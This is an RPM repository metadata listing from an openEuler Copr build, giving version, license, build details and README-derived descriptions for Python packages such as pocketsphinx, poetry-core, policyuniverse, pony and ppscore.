# packages

pkgId: 988c8c0627b00b23c761a097a12b9fc03d8549485b337ead40d0c44420081374
name: python-pocketsphinx
arch: src
version: 5.0.0
epoch: 0
release: 1
summary: Official Python bindings for PocketSphinx
url: https://github.com/cmusphinx/pocketsphinx
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e36027d6-4ca9-442c-bd12-afc9a05c8b1c
location_href: 00004573-python-pocketsphinx/python-pocketsphinx-5.0.0-1.src.rpm
checksum_type: sha256
description:
  This is PocketSphinx, one of Carnegie Mellon University's open source large
  vocabulary, speaker-independent continuous speech recognition engines.
  Although this was at one point a research system, active development
  has largely ceased and it has become very, very far from the state of
  the art.  I am making a release, because people are nonetheless using
  it, and there are a number of historical errors in the build system
  and API which needed to be corrected.
  The version number is strangely large because there was a "release"
  that people are using called 5prealpha, and we will use proper
  [semantic versioning](https://semver.org/) from now on.
  **Please see the LICENSE file for terms of use.**


pkgId: 86bdf443d4f17ebec2d556fe591d07a333fa7e22b40d14b30fe7889a9f105ef2
name: python-podcastparser
arch: src
version: 0.6.9
epoch: 0
release: 1
summary: Simplified, fast RSS parser
url: http://gpodder.org/podcastparser/
rpm_license: ISC License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7781cdd9-40df-476d-874b-6c4de5108849
location_href: 00004574-python-podcastparser/python-podcastparser-0.6.9-1.src.rpm
checksum_type: sha256
description:
  The podcast parser project is a library from the gPodder project to provide an
  easy and reliable way of parsing RSS- and Atom-based podcast feeds in Python.
  See docs in [./doc](./doc) or at [Read the Docs](https://podcastparser.readthedocs.io/en/latest/).

  To run the unit tests you need [`pytest`](https://docs.pytest.org/).  If you have `pytest` installed, use the `pytest` command in the repository's root directory to run the tests.

  To release, update the version number in podcastparser.py, commit and push.
  Then create an (annotated) tag and push it.
  The GitHub action will publish on pypi.


pkgId: 021b36e732ffe885f97bd62f82e9356e2f6673cd67106ec4d77ff4de9825d2c7
name: python-poetry-core
arch: src
version: 1.5.1
epoch: 0
release: 1
summary: Poetry PEP 517 Build Backend
url: https://github.com/python-poetry/poetry-core
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-61c3a5e3-22f0-4aae-9994-da562499f41b
location_href: 00004577-python-poetry-core/python-poetry-core-1.5.1-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://img.shields.io/pypi/v/poetry-core)](https://pypi.org/project/poetry-core/)
  [![Python Versions](https://img.shields.io/pypi/pyversions/poetry-core)](https://pypi.org/project/poetry-core/)
  [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
  [![](https://github.com/python-poetry/poetry-core/workflows/Tests/badge.svg)](https://github.com/python-poetry/poetry-core/actions?query=workflow%3ATests)

  A [PEP 517](https://www.python.org/dev/peps/pep-0517/) build backend implementation developed for
  [Poetry](https://github.com/python-poetry/poetry). This project is intended to be a light weight, fully compliant,
  self-contained package allowing PEP 517 compatible build frontends to build Poetry managed projects.


  In most cases, the usage of this package is transparent to the end-user as it is either made use by Poetry itself
  or a PEP 517 frontend (eg: `pip`).

  In order to enable the use `poetry-core` as your build backend, the following snippet must be present in your
  project's `pyproject.toml` file.

  ```toml
  [build-system]
  requires = ["poetry-core"]
  build-backend = "poetry.core.masonry.api"
  ```

  Once this is present, a PEP 517 frontend like `pip` can build and install your project from source without the need
  for Poetry or any of its dependencies.

  ```shell

  pip install /path/to/poetry/managed/project


  pip wheel /path/to/poetry/managed/project
  ```


  Prior to the release of version `1.1.0`, Poetry was a project management tool that included a PEP 517
  build backend. This was inefficient and time consuming when a PEP 517 build was required. For example,
  both `pip` and `tox` (with isolated builds) would install Poetry and all dependencies it required. Most of these
  dependencies are not required when the objective is to simply build either a source or binary distribution of your
  project.

  In order to improve the above situation, `poetry-core` was created. Shared functionality pertaining to PEP 517 build
  backends, including reading lock file, `pyproject.toml` and building wheel/sdist, were implemented in this package. This
  makes PEP 517 builds extremely fast for Poetry managed packages.


pkgId: 1c3c7a9f30328c6e9b1b20eb31e99c669e32932a33be0d836a0d1937e70b7a2b
name: python-poetry-version
arch: src
version: 0.2.0
epoch: 0
release: 1
summary: Python library for extracting version from poetry pyproject.toml file (deprecated)
url: https://github.com/rominf/poetry-version
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-12132519-0e32-4012-9f03-b3cbcc86d501
location_href: 00013166-python-poetry-version/python-poetry-version-0.2.0-1.src.rpm
checksum_type: sha256
description:
  Now there is a better way to extract the version of the package.

  Assuming your package is named `mypackage`:
  ```python
  import importlib.metadata

  __version__ = importlib.metadata.version("mypackage")
  ```

  This code should work as is if you are using Python >= 3.8.

  For Python 3.6 and 3.7 you need to install a backport: https://pypi.org/project/importlib-metadata/


pkgId: 0a55d29ac54b835933a4cb4debded1cab7f637a096cf2c4674c3ab83fe4c3844
name: python-policyuniverse
arch: src
version: 1.5.0.20220613
epoch: 0
release: 1
summary: Parse and Process AWS IAM Policies, Statements, ARNs, and wildcards.
url: https://github.com/Netflix-Skunkworks/policyuniverse
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5e6eb754-cef3-4828-91fe-7ec489798617
location_href: 00004578-python-policyuniverse/python-policyuniverse-1.5.0.20220613-1.src.rpm
checksum_type: sha256
description:
  [![Version](http://img.shields.io/pypi/v/policyuniverse.svg?style=flat)](https://pypi.python.org/pypi/policyuniverse/)

  [![Build Status](https://github.com/Netflix-Skunkworks/policyuniverse/workflows/Python%20package/badge.svg)](https://github.com/Netflix-Skunkworks/policyuniverse/actions)

  [![Updater Status](https://github.com/Netflix-Skunkworks/policyuniverse/actions/workflows/updater.yml/badge.svg)](https://github.com/Netflix-Skunkworks/policyuniverse/actions/workflows/updater.yml)

  [![Coverage Status](https://coveralls.io/repos/github/Netflix-Skunkworks/policyuniverse/badge.svg?branch=master&1)](https://coveralls.io/github/Netflix-Skunkworks/policyuniverse?branch=master)

  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/python/black)

  This package provides classes to parse AWS IAM and Resource Policies.

  Additionally, this package can expand wildcards in AWS Policies using permissions obtained from the AWS Policy Generator.

  See the [Service and Permissions data](policyuniverse/data.json).

  _This package can also minify an AWS policy to help you stay under policy size limits. Avoid doing this if possible, as it creates ugly policies._ 💩



  `pip install policyuniverse`



  - [ARN class](#reading-arns)
  - [Policy class](#iam-and-resource-policies)
  - [Statement class](#statements)
  - [Action Categories](#action-categories)
  - [Expanding and Minification](#expanding-and-minification)



  ```python
  from policyuniverse.arn import ARN
  arn = ARN('arn:aws:iam::012345678910:role/SomeTestRoleForTesting')
  assert arn.error == False
  assert arn.tech == 'iam'
  assert arn.region == ''  # IAM is universal/global
  assert arn.account_number == '012345678910'
  assert arn.name == 'role/SomeTestRoleForTesting'
  assert arn.partition == 'aws'
  assert arn.root == False  # Not the root ARN
  assert arn.service == False  # Not an AWS service like lambda.amazonaws.com

  arn = ARN('012345678910')
  assert arn.account_number == '012345678910'

  arn = ARN('lambda.amazonaws.com')
  assert arn.service == True
  assert arn.tech == 'lambda'
  ```




  ```python

  policy05 = dict(
      Version='2010-08-14',
      Statement=[
          dict(
              Effect='Allow',
              Principal='arn:aws:iam::012345678910:root',
              Action=['s3:*'],
              Resource='*',
              Condition={
                  'IpAddress': {
                      'AWS:SourceIP': ['0.0.0.0/0']
                  }}),
          dict(
              Effect='Allow',
              Principal='arn:aws:iam::*:role/Hello',
              Action=['ec2:*'],
              Resource='*',
              Condition={
                  'StringLike': {
                      'AWS:SourceOwner': '012345678910'
                  }})
          ])

  from policyuniverse.policy import Policy
  from policyuniverse.statement import ConditionTuple, PrincipalTuple

  policy = Policy(policy05)
  assert policy.whos_allowed() == set([
      PrincipalTuple(category='principal', value='arn:aws:iam::*:role/Hello'),
      PrincipalTuple(category='principal', value='arn:aws:iam::012345678910:root'),
      ConditionTuple(category='cidr', value='0.0.0.0/0'),
      ConditionTuple(category='account', value='012345678910')
  ])




  assert policy.is_internet_accessible() == False
  ```



  ```python

  policy01 = dict(
      Version='2012-10-08',
      Statement=dict(
          Effect='Allow',
          Principal='*',
          Action=['rds:*'],
          Resource='*',
          Condition={
              'IpAddress': {
                  'AWS:SourceIP': ['0.0.0.0/0']
              }
          }))

  policy = Policy(policy01)
  assert policy.is_internet_accessible() == True
  assert policy.internet_accessible_actions() == set(['rds:*'])
  ```



  A policy is simply a collection of statements.

  ```python
  statement12 = dict(
      Effect='Allow',
      Principal='*',
      Action=['rds:*'],
      Resource='*',
      Condition={
          'StringEquals': {
              'AWS:SourceVPC': 'vpc-111111',
              'AWS:Sourcevpce': 'vpce-111111',
              'AWS:SourceOwner': '012345678910',
              'AWS:SourceAccount': '012345678910'
          },
          'StringLike': {
              'AWS:userid': 'AROAI1111111111111111:*'
          },
          'ARNLike': {
              'AWS:SourceArn': 'arn:aws:iam::012345678910:role/Admin'
          },
          'IpAddressIfExists': {
              'AWS:SourceIP': [
                  '123.45.67.89',
                  '10.0.7.0/24',
                  '172.16.0.0/16']
          }
      })

  from policyuniverse.statement import Statement
  from policyuniverse.statement import ConditionTuple, PrincipalTuple

  statement = Statement(statement12)
  assert statement.effect == 'Allow'
  assert statement.actions == set(['rds:*'])


  assert len(statement.actions_expanded) == 88

  assert statement.uses_not_principal() == False
  assert statement.principals == set(['*'])
  assert statement.condition_arns == set(['arn:aws:iam::012345678910:role/Admin'])
  assert statement.condition_accounts == set(['012345678910'])
  assert statement.condition_userids == set(['AROAI1111111111111111:*'])
  assert statement.condition_cidrs == set(['10.0.7.0/24', '172.16.0.0/16', '123.45.67.89'])
  assert statement.condition_vpcs == set(['vpc-111111'])
  assert statement.condition_vpces == set(['vpce-111111'])
  assert statement.is_internet_accessible() == False
  assert statement.whos_allowed() == set([
      PrincipalTuple(category='principal', value='*'),
      ConditionTuple(category='cidr', value='123.45.67.89'),
      ConditionTuple(category='account', value='012345678910'),
      ConditionTuple(category='userid', value='AROAI1111111111111111:*'),
      ConditionTuple(category='vpc', value='vpc-111111'),
      ConditionTuple(category='arn', value='arn:aws:iam::012345678910:role/Admin'),
      ConditionTuple(category='cidr', value='172.16.0.0/16'),
      ConditionTuple(category='vpce', value='vpce-111111'),
      ConditionTuple(category='cidr', value='10.0.7.0/24')])

  ```



  ```python
  policy = {
          "Statement": [{
              "Action": ["s3:put*", "sqs:get*", "sns:*"],
              "Resource": "*",
              "Effect": "Allow"
            }]
        }

  from policyuniverse.policy import Policy
  p = Policy(policy)
  for k, v in p.action_summary().items():
      print(k,v)
  >>> ('s3', set([u'Write', u'Permissions', u'Tagging']))
  >>> ('sqs', set([u'List']))
  >>> ('sns', set([u'List', u'Read', u'Write', u'Permissions']))
  ```
  Possible categories are `Permissions`, `Write`, `Read`, `Tagging`, and `List`.  This data can be used to summarize statements and policies and to look for sensitive permissions.


  ```python
  from policyuniverse.expander_minimizer import expand_policy
  from policyuniverse.expander_minimizer import minimize_policy

  policy = {
          "Statement": [{
              "Action": ["swf:res*"],
              "Resource": "*",
              "Effect": "Allow"
            }]
        }

  expanded_policy = expand_policy(policy=policy)
  >>> Start size: 131. End size: 286
  print(expanded_policy == {
          "Statement": [{
              "Action": [
                "swf:respondactivitytaskcanceled",
                "swf:respondactivitytaskcompleted",
                "swf:respondactivitytaskfailed",
                "swf:responddecisiontaskcompleted"
              ],
              "Resource": "*",
              "Effect": "Allow"
            }]
        })
  >>> True

  minimized_policy = minimize_policy(policy=expanded_policy, minchars=3)
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Start size: 286. End size: 131

  print(minimized_policy == policy)
  >>> True
  ```


pkgId: bc23672b0320f4e2a292b26ed9c3792a756672a219251ce6dae4761e0d2ec183
name: python-polygon-geohasher
arch: src
version: 0.0.1
epoch: 0
release: 1
summary: Wrapper over Shapely that returns the set of geohashes that form a Polygon
url: https://github.com/Bonsanto/polygon-geohasher
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-66b806ac-4f44-495a-96b7-f80aedc66d13
location_href: 00013532-python-polygon-geohasher/python-polygon-geohasher-0.0.1-1.src.rpm
checksum_type: sha256
description:
  Polygon Geohasher is a Open source Python package which converts a
  polygon into a set of geohashes with arbitrary precision. More
  conversely, it can obtain the set of geohashes inside a polygon or
  geohashes that touch (intersects) the polygon. This library uses
      [python-geohash](https://pypi.python.org/pypi/Geohash/) and
  [shapely](http://toblerity.org/shapely/).



  Polygon Geohasher requires:

  - Python >= 3.x.
  - GEOS >= 3.3 (due to shapely).


  Linux users can get Polygon Geohasher from the Python Package Index with
  pip (8+):

  `todo`
  `$ pip install polygon-geohasher`


  Here are some simple examples:

  ```python
  from shapely import geometry

  polygon = geometry.Polygon([(-99.1795917, 19.432134), (-99.1656847, 19.429034),
                              (-99.1776492, 19.414236), (-99.1795917, 19.432134)])
  inner_geohashes_polygon = geohashes_to_polygon(polygon_to_geohashes(test_polygon, 7))
  outer_geohashes_polygon = geohashes_to_polygon(polygon_to_geohashes(test_polygon, 7, False))
  ```


  `geohash_to_polygon(geohash)`:

  This function receives a geohash, and returns a Shapely's Polygon.

  `geohashes_to_polygon(geohashes)`:

  This function receives a set of geohashes, and returns a Shapely's Polygon or MultiPolygon.


  `polygon_to_geohashes(polygon, precision, inner(optional))`:

  This function receives a Shapely's Polygon, the precision of geohashes that
  will be used to create a polygon and returns a set of geohashes
  (strings) which covers the polygon. It also receives an optional
  parameter `inner` that defines the way how those polygons will be created.
  If inner only contained geohashes will be used, otherwise intersected will.

  For instance you can see resulted geohashed polygons with both options.

  ![Example](./docs/images/geohashed-polygon-1.jpg)



  If you want to make any donation you can send to:

  - [BTC](bitcoin.org): 1H6VrFKCEabn3rbE9JJUSRXB7PU8Bm4SND
  - [BCC](bitcoincash.org): 1CmuSwFD9qghEfJ4DdSiRWLxfvK5Srfqsg


pkgId: a2822dbc0285a8056480ca4dabebd26d6a0d462be2335aef9140e1c8c7614adf
name: python-pomegranate-debuginfo
arch: x86_64
version: 0.14.8
epoch: 0
release: 1
summary: Debug information for package python-pomegranate
url: http://pypi.python.org/pypi/pomegranate/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-d8e421e4-e768-498f-bdf5-667b267873c2
rpm_sourcerpm: python-pomegranate-0.14.8-1.src.rpm
location_href: 00012705-python-pomegranate/python-pomegranate-debuginfo-0.14.8-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pomegranate.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: aeedb8b8c7e7398729b5177e01f72ca2c0e9a50c71828af0a89f36bfb8654efc
name: python-pomegranate-debugsource
arch: x86_64
version: 0.14.8
epoch: 0
release: 1
summary: Debug sources for package python-pomegranate
url: http://pypi.python.org/pypi/pomegranate/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-d8e421e4-e768-498f-bdf5-667b267873c2
rpm_sourcerpm: python-pomegranate-0.14.8-1.src.rpm
location_href: 00012705-python-pomegranate/python-pomegranate-debugsource-0.14.8-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pomegranate.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: fe70427be99736cdb1b086d6024f0b99b22e2e60b591d7cd85f2f0c9a3be5874
name: python-pony
arch: src
version: 0.7.16
epoch: 0
release: 1
summary: Pony Object-Relational Mapper
url: https://ponyorm.com
rpm_license: Apache License Version 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-867fc224-3137-4e6a-8713-0701e3109811
location_href: 00012844-python-pony/python-pony-0.7.16-1.src.rpm
checksum_type: sha256
description:
  Pony ORM is easy to use and powerful object-relational mapper for Python.
  Using Pony, developers can create and maintain database-oriented software applications
  faster and with less effort. One of the most interesting features of Pony is
  its ability to write queries to the database using generator expressions.
  Pony then analyzes the abstract syntax tree of a generator and translates it
  to its SQL equivalent.
  Following is an example of a query in Pony::
      select(p for p in Product if p.name.startswith('A') and p.cost <= 1000)
  Such approach simplify the code and allows a programmer to concentrate
  on the business logic of the application.
  Pony translates queries to SQL using a specific database dialect.
  Currently Pony works with SQLite, MySQL, PostgreSQL and Oracle databases.
  The package `pony.orm.examples <https://github.com/ponyorm/pony/tree/orm/pony/orm/examples>`_
  contains several examples.


pkgId: e30e7463f903631e7284d38c7896efd7963c197c5dad9212fdc98ea04cbcdc0c
name: python-poppler-utils
arch: src
version: 0.1.0
epoch: 0
release: 1
url: https://github.com/vinayak-mehta/poppler-utils
rpm_license: GPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1146fc2e-1f00-4a96-8821-4fd37cdcd60d
location_href: 00013345-python-poppler-utils/python-poppler-utils-0.1.0-1.src.rpm
checksum_type: sha256
summary:
  Precompiled command-line utilities (based on Poppler) for manipulating PDF files and converting them to other formats.

description:
  Precompiled command-line utilities (based on Poppler) for manipulating PDF files and converting them to other formats.


pkgId: 102d0ee5b30e40b98926d83c4bcc7e7c40441abd7abdeb07738f9c1f488b6aed
name: python-portalocker
arch: src
version: 2.7.0
epoch: 0
release: 1
summary: Wraps the portalocker recipe for easy usage
url: https://github.com/WoLpH/portalocker
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-75232c2e-99e1-4d74-beaa-214c8057eed5
location_href: 00009015-python-portalocker/python-portalocker-2.7.0-1.src.rpm
checksum_type: sha256
description:
  Portalocker is a library to provide an easy API to file locking.
  An important detail to note is that on Linux and Unix systems the locks are
  advisory by default. By specifying the `-o mand` option to the mount command it
  is possible to enable mandatory file locking on Linux. This is generally not
  recommended however. For more information about the subject:
   - https://en.wikipedia.org/wiki/File_locking
   - http://stackoverflow.com/questions/39292051/portalocker-does-not-seem-to-lock
   - https://stackoverflow.com/questions/12062466/mandatory-file-lock-on-linux
  The module is currently maintained by Rick van Hattem <Wolph@wol.ph>.
  The project resides at https://github.com/WoLpH/portalocker . Bugs and feature
  requests can be submitted there. Patches are also very welcome.


pkgId: c52d4f23b135c0a0ef10dc80cd0889c1bc4d3dde16ef8c71d2981258522481bb
name: python-posix-ipc
arch: src
version: 1.1.1
epoch: 0
release: 1
summary: POSIX IPC primitives (semaphores, shared memory and message queues) for Python
url: https://github.com/osvenskan/posix_ipc
rpm_license: http://creativecommons.org/licenses/BSD/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e2c97fe4-5362-4d7d-ae10-aea1f48a90b9
location_href: 00004582-python-posix_ipc/python-posix-ipc-1.1.1-1.src.rpm
checksum_type: sha256
description:
  `posix_ipc` is a Python module (written in C) that permits creation and manipulation of POSIX inter-process semaphores, shared memory and message queues on platforms supporting the POSIX Realtime Extensions a.k.a. POSIX 1003.1b-1993. This includes nearly all Unices and Windows + Cygwin ≥ 1.7.

  `posix_ipc` is compatible with all supported versions of Python 3.

  **For complete documentation, see [the usage notes](USAGE.md).**



  Version 1.0.5 was the last version of `posix_ipc` to support both Python 2.7 and Python 3.x. Starting with version 1.1.0, only Python ≥ 3.6 is supported. No changes (neither fixes nor features) will be backported to 1.0.5.



  `posix_ipc` is available on PyPI:

  	pip install posix-ipc

  Or you can clone the project and install it using `setup.py`:

  	python setup.py install



  `posix_ipc` is free software (free as in speech and free as in beer) released under a 3-clause BSD license. Complete licensing information is available in [the LICENSE file](LICENSE).



  You might also be interested in the similar System V IPC module: https://github.com/osvenskan/sysv_ipc


pkgId: 2b40c8c46761ddc54c073e4f4bf56c695e648db2eae429d4a21b51792ee69b93
name: python-postal-address
arch: src
version: 22.4.22.1
epoch: 0
release: 1
summary: Parse, normalize and render postal addresses.
url: https://github.com/Scaleway/postal-address
rpm_license: BSD-2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9285bf12-f567-44b3-b25f-6266b9b51b37
location_href: 00010837-python-postal-address/python-postal-address-22.4.22.1-1.src.rpm
checksum_type: sha256
description:
  Python module to parse, normalize and render postal addresses.
  Stable release: |release| |versions| |license|
  Development: |docs| |coverage| |quality|


pkgId: 7790068da1d8d3b68c1194c6059c2d9f1c4fe0dda13f6d62d07f1a4138dadd83
name: python-postgres
arch: src
version: 4.0
epoch: 0
release: 1
summary: postgres is a high-value abstraction over psycopg2.
url: https://github.com/liberapay/postgres.py
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-802e6f1b-2844-440d-b4ae-88c18aefb802
location_href: 00012434-python-postgres/python-postgres-4.0-1.src.rpm
checksum_type: sha256
description:
  postgres is a high-value abstraction over psycopg2

  [Read the Docs](https://postgres-py.readthedocs.org)


pkgId: 005ae3a9baab02796d1df0e788acba8ffb6effc8879702e3315d73f110dd6e4e
name: python-power
arch: src
version: 1.4
epoch: 0
release: 1
summary: Cross-platform system power status information.
url: https://github.com/Kentzo/Power
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6f451869-8c32-4411-b42c-7c6c7c74d9f4
location_href: 00004584-python-power/python-power-1.4-1.src.rpm
checksum_type: sha256
description:
  Library that allows you get current power source type (AC, Battery or UPS), warning level (none, <22%, <10min) and remaining minutes. You can also observe changes of power source and remaining time.


pkgId: d8873e104487149cc6bca2fde976981b7f1d8e8bbbeafce04924fb3a11699259
name: python-poyo
arch: src
version: 0.5.0
epoch: 0
release: 1
summary: A lightweight YAML Parser for Python. 🐓
url: https://github.com/hackebrot/poyo
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-994685c7-e737-4f1e-9f2f-90bec1408eee
location_href: 00004585-python-poyo/python-poyo-0.5.0-1.src.rpm
checksum_type: sha256
description:
  default_context: # foobar
      greeting: こんにちは
      email: "raphael@hackebrot.de"
      docs: true
      gui: FALSE
      123: 456.789
      
      
      'some:int': 1000000
      foo: "hallo #welt" #Inline comment :)
      longtext: >
          This is a multiline string.
          It can contain all manners of characters.
          Single line breaks are ignored,
          but blank linkes cause line breaks.
      trueish: Falseeeeeee
      blog   : raphael.codes
      relative-root: /          # web app root path (default: '')
      lektor: 0.0.0.0:5000      # local build
      doc_tools:
          
          -    mkdocs
          - 'sphinx'
          - null
      
  zZz: True
  NullValue: Null


  Hello World:
      
      null: This is madness   # yo
      gh: https://github.com/{0}.git
  "Yay #python": Cool!
  ```

  ```python
  {
      u"default_context": {
          u"greeting": u"こんにちは",
          u"email": u"raphael@hackebrot.de",
          u"docs": True,
          u"gui": False,
          u"lektor": "0.0.0.0:5000",
          u"relative-root": "/",
          123: 456.789,
          u"some:int": 1000000,
          u"foo": u"hallo #welt",
          u"longtext": (
              u"This is a multiline string. It can contain all "
              u"manners of characters.\nSingle line breaks are "
              u"ignored, but blank linkes cause line breaks.\n"
          ),
          u"trueish": u"Falseeeeeee",
          u"blog": u"raphael.codes",
          u"doc_tools": [u"mkdocs", u"sphinx", None],
      },
      u"zZz": True,
      u"NullValue": None,
      u"Hello World": {
          None: u"This is madness",
          u"gh": u"https://github.com/{0}.git",
      },
      u"Yay #python": u"Cool!",
  }
  ```

  poyo follows the recommendations for [logging in a library][logging], which
  means it does not configure logging itself. Its root logger is named ``poyo``
  and the names of all its children loggers track the package/module hierarchy.
  poyo logs to a ``NullHandler`` and solely on ``DEBUG`` level.
  If your application configures logging and allows debug messages to be shown,
  you will see logging when using poyo. The log messages indicate which parser
  method is used for a given string as the parser deseralizes the config. You
  can remove all logging from poyo in your application by setting the log level
  of the ``poyo`` logger to a value higher than ``DEBUG``.
  [logging]: https://docs.python.org/3/howto/logging.html#configuring-logging-for-a-library

  ```python
  import logging
  logging.getLogger("poyo").setLevel(logging.WARNING)
  ```

  ```python
  import logging
  from poyo import parse_string
  logging.basicConfig(level=logging.DEBUG)


pkgId: 857aeebf3cceafa853e247708386f98af47803bbf06aeb88db54b42988f66b4f
name: python-pplpy
arch: src
version: 0.8.7
epoch: 0
release: 1
summary: Python PPL wrapper
url: https://gitlab.com/videlec/pplpy
rpm_license: GPL v3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-470526fb-3f8d-4b3f-abf4-cbc299edc53b
location_href: 00004586-python-pplpy/python-pplpy-0.8.7-1.src.rpm
checksum_type: sha256
description:
  This Python package provides a wrapper to the C++ `Parma Polyhedra Library
  (PPL) <http://bugseng.com/products/ppl/>`_.
  The whole package started as a fork of a tiny part of the `Sage
  <http://sagemath.org>`_ software.


pkgId: f5269f32525a27f6478318b362e900d2df52139692ac93cbc760246a5864ac1f
name: python-pproxy
arch: src
version: 2.7.8
epoch: 0
release: 1
summary: Proxy server that can tunnel among remote servers by regex rules.
url: https://github.com/qwj/python-proxy
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-42050ed1-b8d0-4512-9ec8-a5610ca34a57
location_href: 00013465-python-pproxy/python-pproxy-2.7.8-1.src.rpm
checksum_type: sha256
description:
  |made-with-python| |PyPI-version| |Hit-Count| |Downloads| |Downloads-month| |Downloads-week|
  HTTP/HTTP2/HTTP3/Socks4/Socks5/Shadowsocks/SSH/Redirect/Pf/QUIC TCP/UDP asynchronous tunnel proxy implemented in Python3 asyncio.


pkgId: 0607d5777a90d70caddb2d23adc7ffae09727a4bf520296b3d01493b433a7d5b
name: python-ppscore
arch: src
version: 1.3.0
epoch: 0
release: 1
summary: Python implementation of the Predictive Power Score (PPS)
url: https://github.com/8080labs/ppscore/
rpm_license: mit
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4c70af50-1077-4bb7-bc92-3d32bc4fcaec
location_href: 00012684-python-ppscore/python-ppscore-1.3.0-1.src.rpm
checksum_type: sha256
description:
  __If you don't know yet what the Predictive Power Score is, please read the following blog post:__

  __[RIP correlation. Introducing the Predictive Power Score](https://towardsdatascience.com/rip-correlation-introducing-the-predictive-power-score-3d90808b9598?sk=7ac6697576053896fb27d3356dd6db32)__

  The PPS is an asymmetric, data-type-agnostic score that can detect linear or non-linear relationships between two columns. The score ranges from 0 (no predictive power) to 1 (perfect predictive power). It can be used as an alternative to the correlation (matrix).


  - [Installation](#installation)
  - [Getting started](#getting-started)
  - [API](#api)
  - [Calculation of the PPS](#calculation-of-the-pps)
  - [About](#about)




  > You need Python 3.6 or above.

  From the terminal (or Anaconda prompt in Windows), enter:

  ```bash
  pip install -U ppscore
  ```




  > The examples refer to the newest version (1.2.0) of ppscore. [See changes](https://github.com/8080labs/ppscore/blob/master/CHANGELOG.md)

  First, let's create some data:

  ```python
  import pandas as pd
  import numpy as np
  import ppscore as pps

  df = pd.DataFrame()
  df["x"] = np.random.uniform(-2, 2, 1_000_000)
  df["error"] = np.random.uniform(-0.5, 0.5, 1_000_000)
  df["y"] = df["x"] * df["x"] + df["error"]
  ```

  Based on the dataframe we can calculate the PPS of x predicting y:

  ```python
  pps.score(df, "x", "y")
  ```

  We can calculate the PPS of all the predictors in the dataframe against a target y:

  ```python
  pps.predictors(df, "y")
  ```

  Here is how we can calculate the PPS matrix between all columns:

  ```python
  pps.matrix(df)
  ```



  For the visualization of the results you can use seaborn or your favorite viz library.

  __Plotting the PPS predictors:__

  ```python
  import seaborn as sns
  predictors_df = pps.predictors(df, y="y")
  sns.barplot(data=predictors_df, x="x", y="ppscore")
  ```

  __Plotting the PPS matrix:__

  (This needs some minor preprocessing because seaborn.heatmap unfortunately does not accept tidy data)

  ```python
  import seaborn as sns
  matrix_df = pps.matrix(df)[['x', 'y', 'ppscore']].pivot(columns='x', index='y', values='ppscore')
  sns.heatmap(matrix_df, vmin=0, vmax=1, cmap="Blues", linewidths=0.5, annot=True)
  ```






  Calculate the Predictive Power Score (PPS) for "x predicts y"

  - The score always ranges from 0 to 1 and is data-type agnostic.

  - A score of 0 means that the column x cannot predict the column y better than a naive baseline model.

  - A score of 1 means that the column x can perfectly predict the column y given the model.

  - A score between 0 and 1 states the ratio of how much potential predictive power the model achieved compared to the baseline model.




  - __df__ : pandas.DataFrame
      - Dataframe that contains the columns x and y
  - __x__ : str
      - Name of the column x which acts as the feature
  - __y__ : str
      - Name of the column y which acts as the target
  - __sample__ : int or `None`
      - Number of rows for sampling. The sampling decreases the calculation time of the PPS.
      If `None` there will be no sampling.
  - __cross_validation__ : int
      - Number of iterations during cross-validation. This has the following implications:
      For example, if the number is 4, then it is possible to detect patterns when there are at least 4 times the same observation. If the limit is increased, the required minimum observations also increase. This is important, because this is the limit when sklearn will throw an error and the PPS cannot be calculated
  - __random_seed__ : int or `None`
      - Random seed for the parts of the calculation that require random numbers, e.g. shuffling or sampling.
